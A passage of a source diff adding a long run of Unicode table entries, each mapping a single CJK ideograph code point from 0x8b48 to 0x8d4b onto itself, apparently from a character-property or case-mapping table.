+ [0x8b48, 0x8b48], /* CJK Ideograph */
+ [0x8b49, 0x8b49], /* CJK Ideograph */
+ [0x8b4a, 0x8b4a], /* CJK Ideograph */
+ [0x8b4b, 0x8b4b], /* CJK Ideograph */
+ [0x8b4c, 0x8b4c], /* CJK Ideograph */
+ [0x8b4d, 0x8b4d], /* CJK Ideograph */
+ [0x8b4e, 0x8b4e], /* CJK Ideograph */
+ [0x8b4f, 0x8b4f], /* CJK Ideograph */
+ [0x8b50, 0x8b50], /* CJK Ideograph */
+ [0x8b51, 0x8b51], /* CJK Ideograph */
+ [0x8b52, 0x8b52], /* CJK Ideograph */
+ [0x8b53, 0x8b53], /* CJK Ideograph */
+ [0x8b54, 0x8b54], /* CJK Ideograph */
+ [0x8b55, 0x8b55], /* CJK Ideograph */
+ [0x8b56, 0x8b56], /* CJK Ideograph */
+ [0x8b57, 0x8b57], /* CJK Ideograph */
+ [0x8b58, 0x8b58], /* CJK Ideograph */
+ [0x8b59, 0x8b59], /* CJK Ideograph */
+ [0x8b5a, 0x8b5a], /* CJK Ideograph */
+ [0x8b5b, 0x8b5b], /* CJK Ideograph */
+ [0x8b5c, 0x8b5c], /* CJK Ideograph */
+ [0x8b5d, 0x8b5d], /* CJK Ideograph */
+ [0x8b5e, 0x8b5e], /* CJK Ideograph */
+ [0x8b5f, 0x8b5f], /* CJK Ideograph */
+ [0x8b60, 0x8b60], /* CJK Ideograph */
+ [0x8b61, 0x8b61], /* CJK Ideograph */
+ [0x8b62, 0x8b62], /* CJK Ideograph */
+ [0x8b63, 0x8b63], /* CJK Ideograph */
+ [0x8b64, 0x8b64], /* CJK Ideograph */
+ [0x8b65, 0x8b65], /* CJK Ideograph */
+ [0x8b66, 0x8b66], /* CJK Ideograph */
+ [0x8b67, 0x8b67], /* CJK Ideograph */
+ [0x8b68, 0x8b68], /* CJK Ideograph */
+ [0x8b69, 0x8b69], /* CJK Ideograph */
+ [0x8b6a, 0x8b6a], /* CJK Ideograph */
+ [0x8b6b, 0x8b6b], /* CJK Ideograph */
+ [0x8b6c, 0x8b6c], /* CJK Ideograph */
+ [0x8b6d, 0x8b6d], /* CJK Ideograph */
+ [0x8b6e, 0x8b6e], /* CJK Ideograph */
+ [0x8b6f, 0x8b6f], /* CJK Ideograph */
+ [0x8b70, 0x8b70], /* CJK Ideograph */
+ [0x8b71, 0x8b71], /* CJK Ideograph */
+ [0x8b72, 0x8b72], /* CJK Ideograph */
+ [0x8b73, 0x8b73], /* CJK Ideograph */
+ [0x8b74, 0x8b74], /* CJK Ideograph */
+ [0x8b75, 0x8b75], /* CJK Ideograph */
+ [0x8b76, 0x8b76], /* CJK Ideograph */
+ [0x8b77, 0x8b77], /* CJK Ideograph */
+ [0x8b78, 0x8b78], /* CJK Ideograph */
+ [0x8b79, 0x8b79], /* CJK Ideograph */
+ [0x8b7a, 0x8b7a], /* CJK Ideograph */
+ [0x8b7b, 0x8b7b], /* CJK Ideograph */
+ [0x8b7c, 0x8b7c], /* CJK Ideograph */
+ [0x8b7d, 0x8b7d], /* CJK Ideograph */
+ [0x8b7e, 0x8b7e], /* CJK Ideograph */
+ [0x8b7f, 0x8b7f], /* CJK Ideograph */
+ [0x8b80, 0x8b80], /* CJK Ideograph */
+ [0x8b81, 0x8b81], /* CJK Ideograph */
+ [0x8b82, 0x8b82], /* CJK Ideograph */
+ [0x8b83, 0x8b83], /* CJK Ideograph */
+ [0x8b84, 0x8b84], /* CJK Ideograph */
+ [0x8b85, 0x8b85], /* CJK Ideograph */
+ [0x8b86, 0x8b86], /* CJK Ideograph */
+ [0x8b87, 0x8b87], /* CJK Ideograph */
+ [0x8b88, 0x8b88], /* CJK Ideograph */
+ [0x8b89, 0x8b89], /* CJK Ideograph */
+ [0x8b8a, 0x8b8a], /* CJK Ideograph */
+ [0x8b8b, 0x8b8b], /* CJK Ideograph */
+ [0x8b8c, 0x8b8c], /* CJK Ideograph */
+ [0x8b8d, 0x8b8d], /* CJK Ideograph */
+ [0x8b8e, 0x8b8e], /* CJK Ideograph */
+ [0x8b8f, 0x8b8f], /* CJK Ideograph */
+ [0x8b90, 0x8b90], /* CJK Ideograph */
+ [0x8b91, 0x8b91], /* CJK Ideograph */
+ [0x8b92, 0x8b92], /* CJK Ideograph */
+ [0x8b93, 0x8b93], /* CJK Ideograph */
+ [0x8b94, 0x8b94], /* CJK Ideograph */
+ [0x8b95, 0x8b95], /* CJK Ideograph */
+ [0x8b96, 0x8b96], /* CJK Ideograph */
+ [0x8b97, 0x8b97], /* CJK Ideograph */
+ [0x8b98, 0x8b98], /* CJK Ideograph */
+ [0x8b99, 0x8b99], /* CJK Ideograph */
+ [0x8b9a, 0x8b9a], /* CJK Ideograph */
+ [0x8b9b, 0x8b9b], /* CJK Ideograph */
+ [0x8b9c, 0x8b9c], /* CJK Ideograph */
+ [0x8b9d, 0x8b9d], /* CJK Ideograph */
+ [0x8b9e, 0x8b9e], /* CJK Ideograph */
+ [0x8b9f, 0x8b9f], /* CJK Ideograph */
+ [0x8ba0, 0x8ba0], /* CJK Ideograph */
+ [0x8ba1, 0x8ba1], /* CJK Ideograph */
+ [0x8ba2, 0x8ba2], /* CJK Ideograph */
+ [0x8ba3, 0x8ba3], /* CJK Ideograph */
+ [0x8ba4, 0x8ba4], /* CJK Ideograph */
+ [0x8ba5, 0x8ba5], /* CJK Ideograph */
+ [0x8ba6, 0x8ba6], /* CJK Ideograph */
+ [0x8ba7, 0x8ba7], /* CJK Ideograph */
+ [0x8ba8, 0x8ba8], /* CJK Ideograph */
+ [0x8ba9, 0x8ba9], /* CJK Ideograph */
+ [0x8baa, 0x8baa], /* CJK Ideograph */
+ [0x8bab, 0x8bab], /* CJK Ideograph */
+ [0x8bac, 0x8bac], /* CJK Ideograph */
+ [0x8bad, 0x8bad], /* CJK Ideograph */
+ [0x8bae, 0x8bae], /* CJK Ideograph */
+ [0x8baf, 0x8baf], /* CJK Ideograph */
+ [0x8bb0, 0x8bb0], /* CJK Ideograph */
+ [0x8bb1, 0x8bb1], /* CJK Ideograph */
+ [0x8bb2, 0x8bb2], /* CJK Ideograph */
+ [0x8bb3, 0x8bb3], /* CJK Ideograph */
+ [0x8bb4, 0x8bb4], /* CJK Ideograph */
+ [0x8bb5, 0x8bb5], /* CJK Ideograph */
+ [0x8bb6, 0x8bb6], /* CJK Ideograph */
+ [0x8bb7, 0x8bb7], /* CJK Ideograph */
+ [0x8bb8, 0x8bb8], /* CJK Ideograph */
+ [0x8bb9, 0x8bb9], /* CJK Ideograph */
+ [0x8bba, 0x8bba], /* CJK Ideograph */
+ [0x8bbb, 0x8bbb], /* CJK Ideograph */
+ [0x8bbc, 0x8bbc], /* CJK Ideograph */
+ [0x8bbd, 0x8bbd], /* CJK Ideograph */
+ [0x8bbe, 0x8bbe], /* CJK Ideograph */
+ [0x8bbf, 0x8bbf], /* CJK Ideograph */
+ [0x8bc0, 0x8bc0], /* CJK Ideograph */
+ [0x8bc1, 0x8bc1], /* CJK Ideograph */
+ [0x8bc2, 0x8bc2], /* CJK Ideograph */
+ [0x8bc3, 0x8bc3], /* CJK Ideograph */
+ [0x8bc4, 0x8bc4], /* CJK Ideograph */
+ [0x8bc5, 0x8bc5], /* CJK Ideograph */
+ [0x8bc6, 0x8bc6], /* CJK Ideograph */
+ [0x8bc7, 0x8bc7], /* CJK Ideograph */
+ [0x8bc8, 0x8bc8], /* CJK Ideograph */
+ [0x8bc9, 0x8bc9], /* CJK Ideograph */
+ [0x8bca, 0x8bca], /* CJK Ideograph */
+ [0x8bcb, 0x8bcb], /* CJK Ideograph */
+ [0x8bcc, 0x8bcc], /* CJK Ideograph */
+ [0x8bcd, 0x8bcd], /* CJK Ideograph */
+ [0x8bce, 0x8bce], /* CJK Ideograph */
+ [0x8bcf, 0x8bcf], /* CJK Ideograph */
+ [0x8bd0, 0x8bd0], /* CJK Ideograph */
+ [0x8bd1, 0x8bd1], /* CJK Ideograph */
+ [0x8bd2, 0x8bd2], /* CJK Ideograph */
+ [0x8bd3, 0x8bd3], /* CJK Ideograph */
+ [0x8bd4, 0x8bd4], /* CJK Ideograph */
+ [0x8bd5, 0x8bd5], /* CJK Ideograph */
+ [0x8bd6, 0x8bd6], /* CJK Ideograph */
+ [0x8bd7, 0x8bd7], /* CJK Ideograph */
+ [0x8bd8, 0x8bd8], /* CJK Ideograph */
+ [0x8bd9, 0x8bd9], /* CJK Ideograph */
+ [0x8bda, 0x8bda], /* CJK Ideograph */
+ [0x8bdb, 0x8bdb], /* CJK Ideograph */
+ [0x8bdc, 0x8bdc], /* CJK Ideograph */
+ [0x8bdd, 0x8bdd], /* CJK Ideograph */
+ [0x8bde, 0x8bde], /* CJK Ideograph */
+ [0x8bdf, 0x8bdf], /* CJK Ideograph */
+ [0x8be0, 0x8be0], /* CJK Ideograph */
+ [0x8be1, 0x8be1], /* CJK Ideograph */
+ [0x8be2, 0x8be2], /* CJK Ideograph */
+ [0x8be3, 0x8be3], /* CJK Ideograph */
+ [0x8be4, 0x8be4], /* CJK Ideograph */
+ [0x8be5, 0x8be5], /* CJK Ideograph */
+ [0x8be6, 0x8be6], /* CJK Ideograph */
+ [0x8be7, 0x8be7], /* CJK Ideograph */
+ [0x8be8, 0x8be8], /* CJK Ideograph */
+ [0x8be9, 0x8be9], /* CJK Ideograph */
+ [0x8bea, 0x8bea], /* CJK Ideograph */
+ [0x8beb, 0x8beb], /* CJK Ideograph */
+ [0x8bec, 0x8bec], /* CJK Ideograph */
+ [0x8bed, 0x8bed], /* CJK Ideograph */
+ [0x8bee, 0x8bee], /* CJK Ideograph */
+ [0x8bef, 0x8bef], /* CJK Ideograph */
+ [0x8bf0, 0x8bf0], /* CJK Ideograph */
+ [0x8bf1, 0x8bf1], /* CJK Ideograph */
+ [0x8bf2, 0x8bf2], /* CJK Ideograph */
+ [0x8bf3, 0x8bf3], /* CJK Ideograph */
+ [0x8bf4, 0x8bf4], /* CJK Ideograph */
+ [0x8bf5, 0x8bf5], /* CJK Ideograph */
+ [0x8bf6, 0x8bf6], /* CJK Ideograph */
+ [0x8bf7, 0x8bf7], /* CJK Ideograph */
+ [0x8bf8, 0x8bf8], /* CJK Ideograph */
+ [0x8bf9, 0x8bf9], /* CJK Ideograph */
+ [0x8bfa, 0x8bfa], /* CJK Ideograph */
+ [0x8bfb, 0x8bfb], /* CJK Ideograph */
+ [0x8bfc, 0x8bfc], /* CJK Ideograph */
+ [0x8bfd, 0x8bfd], /* CJK Ideograph */
+ [0x8bfe, 0x8bfe], /* CJK Ideograph */
+ [0x8bff, 0x8bff], /* CJK Ideograph */
+ [0x8c00, 0x8c00], /* CJK Ideograph */
+ [0x8c01, 0x8c01], /* CJK Ideograph */
+ [0x8c02, 0x8c02], /* CJK Ideograph */
+ [0x8c03, 0x8c03], /* CJK Ideograph */
+ [0x8c04, 0x8c04], /* CJK Ideograph */
+ [0x8c05, 0x8c05], /* CJK Ideograph */
+ [0x8c06, 0x8c06], /* CJK Ideograph */
+ [0x8c07, 0x8c07], /* CJK Ideograph */
+ [0x8c08, 0x8c08], /* CJK Ideograph */
+ [0x8c09, 0x8c09], /* CJK Ideograph */
+ [0x8c0a, 0x8c0a], /* CJK Ideograph */
+ [0x8c0b, 0x8c0b], /* CJK Ideograph */
+ [0x8c0c, 0x8c0c], /* CJK Ideograph */
+ [0x8c0d, 0x8c0d], /* CJK Ideograph */
+ [0x8c0e, 0x8c0e], /* CJK Ideograph */
+ [0x8c0f, 0x8c0f], /* CJK Ideograph */
+ [0x8c10, 0x8c10], /* CJK Ideograph */
+ [0x8c11, 0x8c11], /* CJK Ideograph */
+ [0x8c12, 0x8c12], /* CJK Ideograph */
+ [0x8c13, 0x8c13], /* CJK Ideograph */
+ [0x8c14, 0x8c14], /* CJK Ideograph */
+ [0x8c15, 0x8c15], /* CJK Ideograph */
+ [0x8c16, 0x8c16], /* CJK Ideograph */
+ [0x8c17, 0x8c17], /* CJK Ideograph */
+ [0x8c18, 0x8c18], /* CJK Ideograph */
+ [0x8c19, 0x8c19], /* CJK Ideograph */
+ [0x8c1a, 0x8c1a], /* CJK Ideograph */
+ [0x8c1b, 0x8c1b], /* CJK Ideograph */
+ [0x8c1c, 0x8c1c], /* CJK Ideograph */
+ [0x8c1d, 0x8c1d], /* CJK Ideograph */
+ [0x8c1e, 0x8c1e], /* CJK Ideograph */
+ [0x8c1f, 0x8c1f], /* CJK Ideograph */
+ [0x8c20, 0x8c20], /* CJK Ideograph */
+ [0x8c21, 0x8c21], /* CJK Ideograph */
+ [0x8c22, 0x8c22], /* CJK Ideograph */
+ [0x8c23, 0x8c23], /* CJK Ideograph */
+ [0x8c24, 0x8c24], /* CJK Ideograph */
+ [0x8c25, 0x8c25], /* CJK Ideograph */
+ [0x8c26, 0x8c26], /* CJK Ideograph */
+ [0x8c27, 0x8c27], /* CJK Ideograph */
+ [0x8c28, 0x8c28], /* CJK Ideograph */
+ [0x8c29, 0x8c29], /* CJK Ideograph */
+ [0x8c2a, 0x8c2a], /* CJK Ideograph */
+ [0x8c2b, 0x8c2b], /* CJK Ideograph */
+ [0x8c2c, 0x8c2c], /* CJK Ideograph */
+ [0x8c2d, 0x8c2d], /* CJK Ideograph */
+ [0x8c2e, 0x8c2e], /* CJK Ideograph */
+ [0x8c2f, 0x8c2f], /* CJK Ideograph */
+ [0x8c30, 0x8c30], /* CJK Ideograph */
+ [0x8c31, 0x8c31], /* CJK Ideograph */
+ [0x8c32, 0x8c32], /* CJK Ideograph */
+ [0x8c33, 0x8c33], /* CJK Ideograph */
+ [0x8c34, 0x8c34], /* CJK Ideograph */
+ [0x8c35, 0x8c35], /* CJK Ideograph */
+ [0x8c36, 0x8c36], /* CJK Ideograph */
+ [0x8c37, 0x8c37], /* CJK Ideograph */
+ [0x8c38, 0x8c38], /* CJK Ideograph */
+ [0x8c39, 0x8c39], /* CJK Ideograph */
+ [0x8c3a, 0x8c3a], /* CJK Ideograph */
+ [0x8c3b, 0x8c3b], /* CJK Ideograph */
+ [0x8c3c, 0x8c3c], /* CJK Ideograph */
+ [0x8c3d, 0x8c3d], /* CJK Ideograph */
+ [0x8c3e, 0x8c3e], /* CJK Ideograph */
+ [0x8c3f, 0x8c3f], /* CJK Ideograph */
+ [0x8c40, 0x8c40], /* CJK Ideograph */
+ [0x8c41, 0x8c41], /* CJK Ideograph */
+ [0x8c42, 0x8c42], /* CJK Ideograph */
+ [0x8c43, 0x8c43], /* CJK Ideograph */
+ [0x8c44, 0x8c44], /* CJK Ideograph */
+ [0x8c45, 0x8c45], /* CJK Ideograph */
+ [0x8c46, 0x8c46], /* CJK Ideograph */
+ [0x8c47, 0x8c47], /* CJK Ideograph */
+ [0x8c48, 0x8c48], /* CJK Ideograph */
+ [0x8c49, 0x8c49], /* CJK Ideograph */
+ [0x8c4a, 0x8c4a], /* CJK Ideograph */
+ [0x8c4b, 0x8c4b], /* CJK Ideograph */
+ [0x8c4c, 0x8c4c], /* CJK Ideograph */
+ [0x8c4d, 0x8c4d], /* CJK Ideograph */
+ [0x8c4e, 0x8c4e], /* CJK Ideograph */
+ [0x8c4f, 0x8c4f], /* CJK Ideograph */
+ [0x8c50, 0x8c50], /* CJK Ideograph */
+ [0x8c51, 0x8c51], /* CJK Ideograph */
+ [0x8c52, 0x8c52], /* CJK Ideograph */
+ [0x8c53, 0x8c53], /* CJK Ideograph */
+ [0x8c54, 0x8c54], /* CJK Ideograph */
+ [0x8c55, 0x8c55], /* CJK Ideograph */
+ [0x8c56, 0x8c56], /* CJK Ideograph */
+ [0x8c57, 0x8c57], /* CJK Ideograph */
+ [0x8c58, 0x8c58], /* CJK Ideograph */
+ [0x8c59, 0x8c59], /* CJK Ideograph */
+ [0x8c5a, 0x8c5a], /* CJK Ideograph */
+ [0x8c5b, 0x8c5b], /* CJK Ideograph */
+ [0x8c5c, 0x8c5c], /* CJK Ideograph */
+ [0x8c5d, 0x8c5d], /* CJK Ideograph */
+ [0x8c5e, 0x8c5e], /* CJK Ideograph */
+ [0x8c5f, 0x8c5f], /* CJK Ideograph */
+ [0x8c60, 0x8c60], /* CJK Ideograph */
+ [0x8c61, 0x8c61], /* CJK Ideograph */
+ [0x8c62, 0x8c62], /* CJK Ideograph */
+ [0x8c63, 0x8c63], /* CJK Ideograph */
+ [0x8c64, 0x8c64], /* CJK Ideograph */
+ [0x8c65, 0x8c65], /* CJK Ideograph */
+ [0x8c66, 0x8c66], /* CJK Ideograph */
+ [0x8c67, 0x8c67], /* CJK Ideograph */
+ [0x8c68, 0x8c68], /* CJK Ideograph */
+ [0x8c69, 0x8c69], /* CJK Ideograph */
+ [0x8c6a, 0x8c6a], /* CJK Ideograph */
+ [0x8c6b, 0x8c6b], /* CJK Ideograph */
+ [0x8c6c, 0x8c6c], /* CJK Ideograph */
+ [0x8c6d, 0x8c6d], /* CJK Ideograph */
+ [0x8c6e, 0x8c6e], /* CJK Ideograph */
+ [0x8c6f, 0x8c6f], /* CJK Ideograph */
+ [0x8c70, 0x8c70], /* CJK Ideograph */
+ [0x8c71, 0x8c71], /* CJK Ideograph */
+ [0x8c72, 0x8c72], /* CJK Ideograph */
+ [0x8c73, 0x8c73], /* CJK Ideograph */
+ [0x8c74, 0x8c74], /* CJK Ideograph */
+ [0x8c75, 0x8c75], /* CJK Ideograph */
+ [0x8c76, 0x8c76], /* CJK Ideograph */
+ [0x8c77, 0x8c77], /* CJK Ideograph */
+ [0x8c78, 0x8c78], /* CJK Ideograph */
+ [0x8c79, 0x8c79], /* CJK Ideograph */
+ [0x8c7a, 0x8c7a], /* CJK Ideograph */
+ [0x8c7b, 0x8c7b], /* CJK Ideograph */
+ [0x8c7c, 0x8c7c], /* CJK Ideograph */
+ [0x8c7d, 0x8c7d], /* CJK Ideograph */
+ [0x8c7e, 0x8c7e], /* CJK Ideograph */
+ [0x8c7f, 0x8c7f], /* CJK Ideograph */
+ [0x8c80, 0x8c80], /* CJK Ideograph */
+ [0x8c81, 0x8c81], /* CJK Ideograph */
+ [0x8c82, 0x8c82], /* CJK Ideograph */
+ [0x8c83, 0x8c83], /* CJK Ideograph */
+ [0x8c84, 0x8c84], /* CJK Ideograph */
+ [0x8c85, 0x8c85], /* CJK Ideograph */
+ [0x8c86, 0x8c86], /* CJK Ideograph */
+ [0x8c87, 0x8c87], /* CJK Ideograph */
+ [0x8c88, 0x8c88], /* CJK Ideograph */
+ [0x8c89, 0x8c89], /* CJK Ideograph */
+ [0x8c8a, 0x8c8a], /* CJK Ideograph */
+ [0x8c8b, 0x8c8b], /* CJK Ideograph */
+ [0x8c8c, 0x8c8c], /* CJK Ideograph */
+ [0x8c8d, 0x8c8d], /* CJK Ideograph */
+ [0x8c8e, 0x8c8e], /* CJK Ideograph */
+ [0x8c8f, 0x8c8f], /* CJK Ideograph */
+ [0x8c90, 0x8c90], /* CJK Ideograph */
+ [0x8c91, 0x8c91], /* CJK Ideograph */
+ [0x8c92, 0x8c92], /* CJK Ideograph */
+ [0x8c93, 0x8c93], /* CJK Ideograph */
+ [0x8c94, 0x8c94], /* CJK Ideograph */
+ [0x8c95, 0x8c95], /* CJK Ideograph */
+ [0x8c96, 0x8c96], /* CJK Ideograph */
+ [0x8c97, 0x8c97], /* CJK Ideograph */
+ [0x8c98, 0x8c98], /* CJK Ideograph */
+ [0x8c99, 0x8c99], /* CJK Ideograph */
+ [0x8c9a, 0x8c9a], /* CJK Ideograph */
+ [0x8c9b, 0x8c9b], /* CJK Ideograph */
+ [0x8c9c, 0x8c9c], /* CJK Ideograph */
+ [0x8c9d, 0x8c9d], /* CJK Ideograph */
+ [0x8c9e, 0x8c9e], /* CJK Ideograph */
+ [0x8c9f, 0x8c9f], /* CJK Ideograph */
+ [0x8ca0, 0x8ca0], /* CJK Ideograph */
+ [0x8ca1, 0x8ca1], /* CJK Ideograph */
+ [0x8ca2, 0x8ca2], /* CJK Ideograph */
+ [0x8ca3, 0x8ca3], /* CJK Ideograph */
+ [0x8ca4, 0x8ca4], /* CJK Ideograph */
+ [0x8ca5, 0x8ca5], /* CJK Ideograph */
+ [0x8ca6, 0x8ca6], /* CJK Ideograph */
+ [0x8ca7, 0x8ca7], /* CJK Ideograph */
+ [0x8ca8, 0x8ca8], /* CJK Ideograph */
+ [0x8ca9, 0x8ca9], /* CJK Ideograph */
+ [0x8caa, 0x8caa], /* CJK Ideograph */
+ [0x8cab, 0x8cab], /* CJK Ideograph */
+ [0x8cac, 0x8cac], /* CJK Ideograph */
+ [0x8cad, 0x8cad], /* CJK Ideograph */
+ [0x8cae, 0x8cae], /* CJK Ideograph */
+ [0x8caf, 0x8caf], /* CJK Ideograph */
+ [0x8cb0, 0x8cb0], /* CJK Ideograph */
+ [0x8cb1, 0x8cb1], /* CJK Ideograph */
+ [0x8cb2, 0x8cb2], /* CJK Ideograph */
+ [0x8cb3, 0x8cb3], /* CJK Ideograph */
+ [0x8cb4, 0x8cb4], /* CJK Ideograph */
+ [0x8cb5, 0x8cb5], /* CJK Ideograph */
+ [0x8cb6, 0x8cb6], /* CJK Ideograph */
+ [0x8cb7, 0x8cb7], /* CJK Ideograph */
+ [0x8cb8, 0x8cb8], /* CJK Ideograph */
+ [0x8cb9, 0x8cb9], /* CJK Ideograph */
+ [0x8cba, 0x8cba], /* CJK Ideograph */
+ [0x8cbb, 0x8cbb], /* CJK Ideograph */
+ [0x8cbc, 0x8cbc], /* CJK Ideograph */
+ [0x8cbd, 0x8cbd], /* CJK Ideograph */
+ [0x8cbe, 0x8cbe], /* CJK Ideograph */
+ [0x8cbf, 0x8cbf], /* CJK Ideograph */
+ [0x8cc0, 0x8cc0], /* CJK Ideograph */
+ [0x8cc1, 0x8cc1], /* CJK Ideograph */
+ [0x8cc2, 0x8cc2], /* CJK Ideograph */
+ [0x8cc3, 0x8cc3], /* CJK Ideograph */
+ [0x8cc4, 0x8cc4], /* CJK Ideograph */
+ [0x8cc5, 0x8cc5], /* CJK Ideograph */
+ [0x8cc6, 0x8cc6], /* CJK Ideograph */
+ [0x8cc7, 0x8cc7], /* CJK Ideograph */
+ [0x8cc8, 0x8cc8], /* CJK Ideograph */
+ [0x8cc9, 0x8cc9], /* CJK Ideograph */
+ [0x8cca, 0x8cca], /* CJK Ideograph */
+ [0x8ccb, 0x8ccb], /* CJK Ideograph */
+ [0x8ccc, 0x8ccc], /* CJK Ideograph */
+ [0x8ccd, 0x8ccd], /* CJK Ideograph */
+ [0x8cce, 0x8cce], /* CJK Ideograph */
+ [0x8ccf, 0x8ccf], /* CJK Ideograph */
+ [0x8cd0, 0x8cd0], /* CJK Ideograph */
+ [0x8cd1, 0x8cd1], /* CJK Ideograph */
+ [0x8cd2, 0x8cd2], /* CJK Ideograph */
+ [0x8cd3, 0x8cd3], /* CJK Ideograph */
+ [0x8cd4, 0x8cd4], /* CJK Ideograph */
+ [0x8cd5, 0x8cd5], /* CJK Ideograph */
+ [0x8cd6, 0x8cd6], /* CJK Ideograph */
+ [0x8cd7, 0x8cd7], /* CJK Ideograph */
+ [0x8cd8, 0x8cd8], /* CJK Ideograph */
+ [0x8cd9, 0x8cd9], /* CJK Ideograph */
+ [0x8cda, 0x8cda], /* CJK Ideograph */
+ [0x8cdb, 0x8cdb], /* CJK Ideograph */
+ [0x8cdc, 0x8cdc], /* CJK Ideograph */
+ [0x8cdd, 0x8cdd], /* CJK Ideograph */
+ [0x8cde, 0x8cde], /* CJK Ideograph */
+ [0x8cdf, 0x8cdf], /* CJK Ideograph */
+ [0x8ce0, 0x8ce0], /* CJK Ideograph */
+ [0x8ce1, 0x8ce1], /* CJK Ideograph */
+ [0x8ce2, 0x8ce2], /* CJK Ideograph */
+ [0x8ce3, 0x8ce3], /* CJK Ideograph */
+ [0x8ce4, 0x8ce4], /* CJK Ideograph */
+ [0x8ce5, 0x8ce5], /* CJK Ideograph */
+ [0x8ce6, 0x8ce6], /* CJK Ideograph */
+ [0x8ce7, 0x8ce7], /* CJK Ideograph */
+ [0x8ce8, 0x8ce8], /* CJK Ideograph */
+ [0x8ce9, 0x8ce9], /* CJK Ideograph */
+ [0x8cea, 0x8cea], /* CJK Ideograph */
+ [0x8ceb, 0x8ceb], /* CJK Ideograph */
+ [0x8cec, 0x8cec], /* CJK Ideograph */
+ [0x8ced, 0x8ced], /* CJK Ideograph */
+ [0x8cee, 0x8cee], /* CJK Ideograph */
+ [0x8cef, 0x8cef], /* CJK Ideograph */
+ [0x8cf0, 0x8cf0], /* CJK Ideograph */
+ [0x8cf1, 0x8cf1], /* CJK Ideograph */
+ [0x8cf2, 0x8cf2], /* CJK Ideograph */
+ [0x8cf3, 0x8cf3], /* CJK Ideograph */
+ [0x8cf4, 0x8cf4], /* CJK Ideograph */
+ [0x8cf5, 0x8cf5], /* CJK Ideograph */
+ [0x8cf6, 0x8cf6], /* CJK Ideograph */
+ [0x8cf7, 0x8cf7], /* CJK Ideograph */
+ [0x8cf8, 0x8cf8], /* CJK Ideograph */
+ [0x8cf9, 0x8cf9], /* CJK Ideograph */
+ [0x8cfa, 0x8cfa], /* CJK Ideograph */
+ [0x8cfb, 0x8cfb], /* CJK Ideograph */
+ [0x8cfc, 0x8cfc], /* CJK Ideograph */
+ [0x8cfd, 0x8cfd], /* CJK Ideograph */
+ [0x8cfe, 0x8cfe], /* CJK Ideograph */
+ [0x8cff, 0x8cff], /* CJK Ideograph */
+ [0x8d00, 0x8d00], /* CJK Ideograph */
+ [0x8d01, 0x8d01], /* CJK Ideograph */
+ [0x8d02, 0x8d02], /* CJK Ideograph */
+ [0x8d03, 0x8d03], /* CJK Ideograph */
+ [0x8d04, 0x8d04], /* CJK Ideograph */
+ [0x8d05, 0x8d05], /* CJK Ideograph */
+ [0x8d06, 0x8d06], /* CJK Ideograph */
+ [0x8d07, 0x8d07], /* CJK Ideograph */
+ [0x8d08, 0x8d08], /* CJK Ideograph */
+ [0x8d09, 0x8d09], /* CJK Ideograph */
+ [0x8d0a, 0x8d0a], /* CJK Ideograph */
+ [0x8d0b, 0x8d0b], /* CJK Ideograph */
+ [0x8d0c, 0x8d0c], /* CJK Ideograph */
+ [0x8d0d, 0x8d0d], /* CJK Ideograph */
+ [0x8d0e, 0x8d0e], /* CJK Ideograph */
+ [0x8d0f, 0x8d0f], /* CJK Ideograph */
+ [0x8d10, 0x8d10], /* CJK Ideograph */
+ [0x8d11, 0x8d11], /* CJK Ideograph */
+ [0x8d12, 0x8d12], /* CJK Ideograph */
+ [0x8d13, 0x8d13], /* CJK Ideograph */
+ [0x8d14, 0x8d14], /* CJK Ideograph */
+ [0x8d15, 0x8d15], /* CJK Ideograph */
+ [0x8d16, 0x8d16], /* CJK Ideograph */
+ [0x8d17, 0x8d17], /* CJK Ideograph */
+ [0x8d18, 0x8d18], /* CJK Ideograph */
+ [0x8d19, 0x8d19], /* CJK Ideograph */
+ [0x8d1a, 0x8d1a], /* CJK Ideograph */
+ [0x8d1b, 0x8d1b], /* CJK Ideograph */
+ [0x8d1c, 0x8d1c], /* CJK Ideograph */
+ [0x8d1d, 0x8d1d], /* CJK Ideograph */
+ [0x8d1e, 0x8d1e], /* CJK Ideograph */
+ [0x8d1f, 0x8d1f], /* CJK Ideograph */
+ [0x8d20, 0x8d20], /* CJK Ideograph */
+ [0x8d21, 0x8d21], /* CJK Ideograph */
+ [0x8d22, 0x8d22], /* CJK Ideograph */
+ [0x8d23, 0x8d23], /* CJK Ideograph */
+ [0x8d24, 0x8d24], /* CJK Ideograph */
+ [0x8d25, 0x8d25], /* CJK Ideograph */
+ [0x8d26, 0x8d26], /* CJK Ideograph */
+ [0x8d27, 0x8d27], /* CJK Ideograph */
+ [0x8d28, 0x8d28], /* CJK Ideograph */
+ [0x8d29, 0x8d29], /* CJK Ideograph */
+ [0x8d2a, 0x8d2a], /* CJK Ideograph */
+ [0x8d2b, 0x8d2b], /* CJK Ideograph */
+ [0x8d2c, 0x8d2c], /* CJK Ideograph */
+ [0x8d2d, 0x8d2d], /* CJK Ideograph */
+ [0x8d2e, 0x8d2e], /* CJK Ideograph */
+ [0x8d2f, 0x8d2f], /* CJK Ideograph */
+ [0x8d30, 0x8d30], /* CJK Ideograph */
+ [0x8d31, 0x8d31], /* CJK Ideograph */
+ [0x8d32, 0x8d32], /* CJK Ideograph */
+ [0x8d33, 0x8d33], /* CJK Ideograph */
+ [0x8d34, 0x8d34], /* CJK Ideograph */
+ [0x8d35, 0x8d35], /* CJK Ideograph */
+ [0x8d36, 0x8d36], /* CJK Ideograph */
+ [0x8d37, 0x8d37], /* CJK Ideograph */
+ [0x8d38, 0x8d38], /* CJK Ideograph */
+ [0x8d39, 0x8d39], /* CJK Ideograph */
+ [0x8d3a, 0x8d3a], /* CJK Ideograph */
+ [0x8d3b, 0x8d3b], /* CJK Ideograph */
+ [0x8d3c, 0x8d3c], /* CJK Ideograph */
+ [0x8d3d, 0x8d3d], /* CJK Ideograph */
+ [0x8d3e, 0x8d3e], /* CJK Ideograph */
+ [0x8d3f, 0x8d3f], /* CJK Ideograph */
+ [0x8d40, 0x8d40], /* CJK Ideograph */
+ [0x8d41, 0x8d41], /* CJK Ideograph */
+ [0x8d42, 0x8d42], /* CJK Ideograph */
+ [0x8d43, 0x8d43], /* CJK Ideograph */
+ [0x8d44, 0x8d44], /* CJK Ideograph */
+ [0x8d45, 0x8d45], /* CJK Ideograph */
+ [0x8d46, 0x8d46], /* CJK Ideograph */
+ [0x8d47, 0x8d47], /* CJK Ideograph */
+ [0x8d48, 0x8d48], /* CJK Ideograph */
+ [0x8d49, 0x8d49], /* CJK Ideograph */
+ [0x8d4a, 0x8d4a], /* CJK Ideograph */
+ [0x8d4b, 0x8d4b], /* CJK Ideograph */
